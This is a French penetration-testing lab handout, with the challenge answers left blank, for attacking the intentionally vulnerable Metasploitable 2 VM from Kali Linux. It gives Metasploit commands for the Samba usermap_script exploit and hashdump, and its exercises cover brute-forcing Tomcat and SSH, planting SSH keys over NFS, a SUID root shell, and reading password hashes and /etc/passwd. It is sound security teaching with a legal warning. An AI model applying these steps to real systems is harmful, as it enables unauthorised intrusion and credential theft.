

TP exploitation de failles sans réponses

19 Octobre 2022 aprèm

Pierre Yves Bonnetain
Denis Ducamp

Plan

- Kali Linux
 - Génération de paquets
 - msfconsole
 - SMB : version (smb_version)
 - & exploit CVE-2007-2447 (usermap_script)
 - tomcat : brute force (mgr_login)
 - & exploit (mgr_deploy)
 - Brute force SSH (ssh_login)
 - Accès à un partage NFS
 - MySQL
- Metasploitable 2
- Scan de ports
- Post exploit
- Pose d'un shell SUID root
- PostgreSQL

Légal

- Seulement votre machine
 - Ou avec un accord écrit du propriétaire
- Sinon : loi Godfrain n° 88-19 du 5 janvier 1988
 - 75.000 € d'amende
 - 5 ans de prison
- “Ah ouais, y en qui ont essayé, ils ont eu des problèmes, hein !”
 - Chevalier / Laspalès : Le Train pour PAU

Kali Linux

Présentation - Installation

- Distribution, basée sur Linux Debian, regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un système d'information.
- Récupérer le fichier suivant :
 - <http://images.offensive-security.com/virtual-images/Kali-Linux-2022.3-vmware-amd64.7z>
 - Et l'extraire
- Créer une machine virtuelle :
 - [linux debian 64 bits, 2 à 4Go](#) de RAM
 - Associer le fichier suivant comme disque dur :
 - [kali-Linux-2022.3-vmware-amd64/kali-Linux-2022.3-vmware-amd64.vmdk](#)
 - Activer [System \ Processor \ PAE/NX](#)
 - Mettre dans un réseau [Réseau NAT](#)

Kali Linux Installation

- Se connecter à l'interface graphique avec le couple login / mdp suivant :
 - `kali / kali`
- Passer le clavier en français :
 - “one-shot” : `setxkbmap fr (setxkb,qp fr)`
 - “permanent” : **(fait)** : **`dpkg-reconfigure keyboard-reconfiguration`**
- Récupérer l'adresse IP :
 - `ifconfig eth0`
- Optionnel : installer les “Guest Additions” **(fait)** :
 - `apt-get update`
 - `apt-get install virtualbox-guest-x11`

Metasploitable 2 (MSF2)

Présentation - Installation

- Machine virtuelle Linux volontairement vulnérable; pour se former à la sécurité, tester des outils et s'entraîner aux tests d'intrusion.
- Récupérer le fichier [metasploitable-linux-2.0.0.zip](#) depuis :
 - <http://sf.net/projects/metasploitable/files/Metasploitable2/>
 - Et l'extraire
- Créer une machine virtuelle :
 - [linux ubuntu 32 bits, 512 Mo](#) de RAM
 - Associer le fichier suivant comme disque dur :
 - [Metasploitable2-Linux/Metasploitable.vmdk](#)
 - Mettre dans un réseau [Réseau NAT](#)

Metasploitable 2 (MSF2)

Installation

- Se connecter à la console avec le couple login / mdp suivant :
 - msfadmin / msfadmin (,sfqd,in)
- Passer root :
 - sudo su - (sudo su)
 - mdp = msfadmin (,sfqd,in)
- Passer le clavier en français :
 - loadkeys fr (loqdkeys fr)
- Récupérer l'adresse IP :
 - ifconfig eth0

Conseil

- man commande
- Recherche :
 - / motclé
 - n (suivant)
 - N (précédent)

Génération de paquets - hping

Exemple

- Permet d'envoyer n'importe quel paquet
 - Et d'afficher les paquets réponses (comme `ping`)
- Aide : `man hping3`
- Générer trois paquets de demande de connexion (`SYN` tcp flag) vers le service `HTTP` (port destination `TCP/80`) de `msf2`
 - `hping3 -S -p 80 -c 3 msf2`
- Interprétation:
 - `flags=SA` => le port est en écoute
 - `flags=RA` => le port est fermé

Génération de paquets

Challenge / Réponse

- Générer un paquet de données (**ACK** tcp flag) depuis le service **HTTP** vers le port **1234** de **msf2**
 -
 - => **flags=R** => le port est fermé et non filtré
- Attaque land (*) contre le service **SSH** (port **TCP/22**) de **msf2**
 - (*) land : ports source = port destination,
et : IP source = IP destination & SYN tcp flag
 -
 - => pas de réponse

Scan de ports – nmap

Exemples

- Permet de tester n'importe quel port
 - Optionnellement avec des tests complémentaires
- Aide : `man nmap`
- Scans TCP des ports par défaut (1 s.)
 - `nmap -v -n msf2`
- Scans TCP de tous les ports (de 1 à 65535) (30 s.)
 - `nmap -p 1-65535 -v -n msf2`

Scan de ports – nmap

Challenge / Réponse

- Scan **TCP** des **ports par défaut** avec tous les tests (**Aggressive** scan options) (140 s.)
 -
- Scans **UDP** des **22 ports** les plus courants (**highest-ratio**) **sans/avec** tous les tests (6/130 s.) :
 -
 -

Exploit de failles - Metasploit (msfconsole) - Utilisation

- Lancer la base de données postgresql
 - `/etc/init.d/postgresql start`
- Initialiser la base de données (**fait** – voir plus loin)
- Lancer msfconsole
 - `msfconsole`
- Connection à la base :
 - `msf > db_connect msf:msf@127.0.0.1/msf`
- Status de la base de données :
 - `msf > db_status`

Metasploit (msfconsole)

– Aide à l'utilisation (1/2)

- Aide : `help`
 - `help [commande]`
- Recherche d'un module : `search [mot clé]`
 - `search _login` : modules de force brute
 - `search _version` : récupération de la version
- Utilisation d'un module : `use module`
- Lister les infos d'un module : `info [module]`
- Lister les options de base / avancées :
 - `show options`
 - `show advanced`
- Affectation d'une option : `set`
 - `set RHOST msf2`
 - `set RPORT 445`
- Suppression d'une option : `unset`

Metasploit (msfconsole)

– Aide à l'utilisation (2/2)

- Exécution d'une exploit / d'un autre module :
 - `exploit`
 - `run`
- Se détacher d'une session : `Ctrl-z`
- Lister les sessions en cours : `sessions -l`
- S'attacher à une des sessions : `session -i n`
- Sortir d'un module : `back`
- Quitter msfconsole : `exit`
 - `exit -y` si des sessions sont en cours

Informations complémentaires

Connecter msf à une BdD (**fait**)

- Démarrage du service postgresql :
 - # `/etc/init.d/postgresql start`
- Création de l'utilisateur :
 - # `su postgres`
 - \$ `createuser msf -P`
- Création de la base :
 - \$ `createdb --owner=msf msf`
- Connection à la base :
 - msf > `db_connect msf:msf@127.0.0.1/msf`
- Reconstruction du cache :
 - msf > `db_rebuild_cache`
- Status de la base de données :
 - msf > `db_status`

Connecter msf à une BdD

– Aide à l'utilisation

- Gérer les systèmes répertoriés : `hosts`
- Gérer les services répertoriés : `services`
 - `msf > services -c port,state`
 - `msf > services -c info -p 445 -r tcp`
- Gérer les login/mdp répertoriés : `creds`
- Gérer les vulnérabilités répertoriées : `vulns`
- Gérer les informations récupérées : `loot`
- Gérer des notes : `notes`
- Importer des informations : `db_import`
 - Format XML pour `nmap -oA`, `nessus...`
- Lancer et importer. Ex : `db_nmap <options de nmap>`

Exemple :

Version SMB (smb_version)

- Rechercher et lancer le module `smb_version` contre `msf2`
 - `search smb_version`
 - `use auxiliary/scanner/smb/smb_version`
 - `show options`
 - `set RHOST msf2`
 - `run`
 - Quand la BdD est connectée :
 - `hosts`
 - `services -p 445 -r tcp`
 - `back`

Exemple : Exploit CVE-2007-2447 (usermap_script)

- Rechercher et lancer le module `usermap_script` contre le port `445` de `msf2`
 - `search usermap`
 - `use exploit/multi/samba/usermap_script`
 - `show options`
 - `set RHOST msf2`
 - `set RPORT 445`
 - `exploit`
- Exécuter des commandes sur le système piraté (`id` ; `pwd` ; `uname -a`)
 - `id` ; `pwd` ; `uname -a`
- Passer la session en arrière plan
 - `Ctrl-z`
 - `sessions -l`
 - Si la BdD était connectée :
 - `vulns`
 - `back`

Brute force tomcat (mgr_login) Challenge / Réponse

- Rechercher et lancer le module `mgr_login` contre le port `8180` de `msf2`
 -
 -
 -
 -
 -
 -
 -
 - Si la BdD était connectée :
 - `Creds`

Exploit tomcat (mgr_deploy)

Challenge / Réponse

- Rechercher et lancer le module `mgr_deploy` contre le port `8180` de `msf2` avec le compte précédemment trouvé

–

–

–

–

–

–

–

–

Exploit tomcat (mgr_deploy)

Challenge / Réponse

- Utiliser le meterpreter (help, sysinfo...)
 - meterpreter >
 - meterpreter >
- via un shell, lister le contenu du fichier /etc/passwd
 - meterpreter >
 -
 -
- Passer la session en arrière plan
 -
 -
 - Si la BdD était connectée :
 - vulns
 -
- Créer un fichier “/root/users” (sur kali) avec les utilisateurs trouvés
 - 1 utilisateur par ligne : root msfadmin user service

Brute force SSH (ssh_login) Challenge / Réponse

- Rechercher et lancer le module `ssh_login` avec le fichier `/root/users`
 -
 -
 -
 -
 -
 -
 -
 -
- Lister les sessions en cours et se connecter à la session de msfadmin et passer root
 -
 -
 -
- Passer la session en arrière plan et quitter
 -
 - Si la BdD était connectée :
 - `creds`

Post exploit

Description - Exemples

- Après exploitation d'une faille, certains scripts peuvent être exécutés au travers des sessions en cours
- Exécuter le script `checkvm`
 - `use post/linux/gather/checkvm`
 - `sessions -l`
 - `set SESSION n`
 - `run`
- Exécuter le script `hashdump`
 - `use post/linux/gather/hashdump`
 - `sessions -l`
 - `set SESSION n`
 - `run`
 - Si la BdD était connectée :
 - `loot`

Post exploit Challenges / Réponses

- Exécuter le script [enum_configs](#)

-

-

-

-

- Si la BdD était connectée :

- [loot](#)

- Exécuter le script [enum_system](#)

-

-

-

-

- Si la BdD était connectée :

- [loot](#)

Accès à un partage NFS

Challenge / Réponse

- Lister les services rpc (`rpcinfo -p`) et les exports (`showmount -e`) de msf2
 - #
 - #
- Démarrer les services “`rpcbind`” et “`nfs-common`” sur kali (cf `/etc/init.d`)
 - #
 - #
- Créer un répertoire “`msfroot`” (`mkdir`) sur kali et monter la racine de `msf2` via le protocole `nfs` (`mount -t nfs`)
 - #
 - #

Accès à un partage NFS

Challenge / Réponse

- Créer un bi-clé ssh ([ssh-keygen](#)) et concaténer la clé publique au fichier [/root/.ssh/authorized_keys](#) de [msf2](#)
 - #
 - #
- Démonter le partage ([umount](#))
 - #
- Exploiter la clé recopiée ([ssh](#))
 - #

Pose d'un shell SUID root

Challenge / Réponse

- Via le montage **NFS**, aller dans le répertoire de l'utilisateur **user** sur **msf2** (**/home/user**)
 -
- Copier le shell **bash** de **msf2** dans ce répertoire
 -
- Changer ses droits d'accès (**chmod**) pour qu'il soit **SUID root**
 - #
 - #
 - #
 - #

Attention à ce qu'il ne soit accessible qu'au groupe **user** (**chown**) !!!

- Se connecter en tant que **user** via **ssh**
 -
- Utiliser le shell **SUID root** (**./bash**) pour obtenir les privilèges **root** (**id**)
 - \$
 - #

MySQL

Challenge / Réponse

- Se connecter à la base **MySQL** (**mysql**) en tant que **root** sur le port **3306** de **msf2**
 - \$
- Lister le **status**, les **bases**, les **tables** et les **colonnes**
 - >
 - >
 - >
 - >
- Lister les logins/hashs MySQL
 - >
- Charger le fichier **/etc/passwd** (**LOAD_FILE**)
 - >

PostgreSQL

Challenge / Réponse

- Se connecter à la base PostgreSQL (psql) en tant que postgres sur le port 5432 de msf2
 - #
- Lister la version, les bases, les tables et les colonnes
 - =#
 - =#
 - =#
 - =#

PostgreSQL

Challenge / Réponse

- Lister les logins/hashs de PostgreSQL
 - =#
- Charger le fichier `/etc/passwd` (COPY...from)
 - =#
 - =#
 - =#
 - =#